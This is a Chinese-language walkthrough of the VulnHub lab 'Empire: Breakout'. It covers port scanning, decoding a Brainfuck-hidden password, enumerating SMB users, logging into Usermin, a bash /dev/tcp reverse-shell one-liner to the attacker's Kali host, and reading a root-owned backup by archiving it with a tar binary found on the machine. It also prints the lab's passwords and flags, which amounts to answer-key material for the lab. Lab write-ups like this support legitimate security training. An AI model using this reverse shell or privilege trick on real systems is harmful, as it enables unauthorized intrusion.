Vulnhub项目：EMPIRE: BREAKOUT

一、靶机地址

靶机地址：Empire: Breakout ~ VulnHub

靶机介绍：

该靶机被定义为简单，但是如果没有找到，那就难度成中等了！

二、渗透过程

老三样，发现目标，这里用 arp-scan

确定靶机 ip：192.168.56.154，本机 ip：192.168.56.14，利用 nmap 探测靶机开放端口

开放 80、139、445、10000、20000，那就一个一个来，80 探测目录，查看主页 

没得东西，换个 gobuster

也没得东西，访问，啥玩意没有，陷入僵局，查看源代码，可以直接理由页面查看，也可以用 curl

利用，curl 请求网页

一不小心，在最下面，不讲武德，发现了一串串小东西，ctf 里面的 brainfuck 加密

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.

CTF在线工具-在线Brainfuck加密|在线Brainfuck解密|Brainfuck|Brainfuck原理|Brainfuck算法

.2uqPEfj3D<P'a-3    #解密出来是这个，一串密码

访问 10000 和 20000，需要 ssl，那就上 https

 两个界面，一个 webmin，一个 usermin

 现在有密码，没有用户，回想之前开放端口，有 smb

那就枚举一下用户   enum4linux -a 192.168.56.154 

发现了 local user  cyber，登录 20000 的系统，是个邮箱，页面中找到了有终端，奈斯～

浅浅的查看一下，发现 user.txt，获取 flag1

3mp!r3{You_Manage_To_Break_To_My_Secure_Access} 

弹个 shell 到 kali 上 

bash -i >& /dev/tcp/192.168.56.146/1234 0>&1 

刚才还看到了个 tar 压缩程序，为毛会出现在这，肯定后面会用到 

去这个站底下瞅瞅，发现了 backups，备份哈，肯定有密码之类的东西 

这不是，它就来了，可惜了，权限不够啊 

换个思路，用刚才的那个 tar 压缩个包，然后重新解压一下，那个权限不就有了么，大聪明！哈哈

这里一定要在根目录下利用./tar 这样用，不然，这个机器上的 bin 目录里面肯定还有个 tar，会达不到想要的效果，然后再解压一下下，轻松愉快读取密码 

Ts&4&YurgtRX(=~h    #还怪长呢，直接su，输入密码，提权为 root

3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation} 

 欧克，flag2 获取，渗透结束，轻松愉快～

三、思路总结

1、好好的信息收集，收集不仔细，思路就没得了

2、常用思路，发现目标，探测目标开放服务，收集目录，找到能执行命令或者上传的地方

3、获取 shell 后，提权不一定需要内核漏洞或者其他什么方式，最顶级的食材往往仅需简单的烹饪～，能够找到密码，就很舒服了

4、继续努力！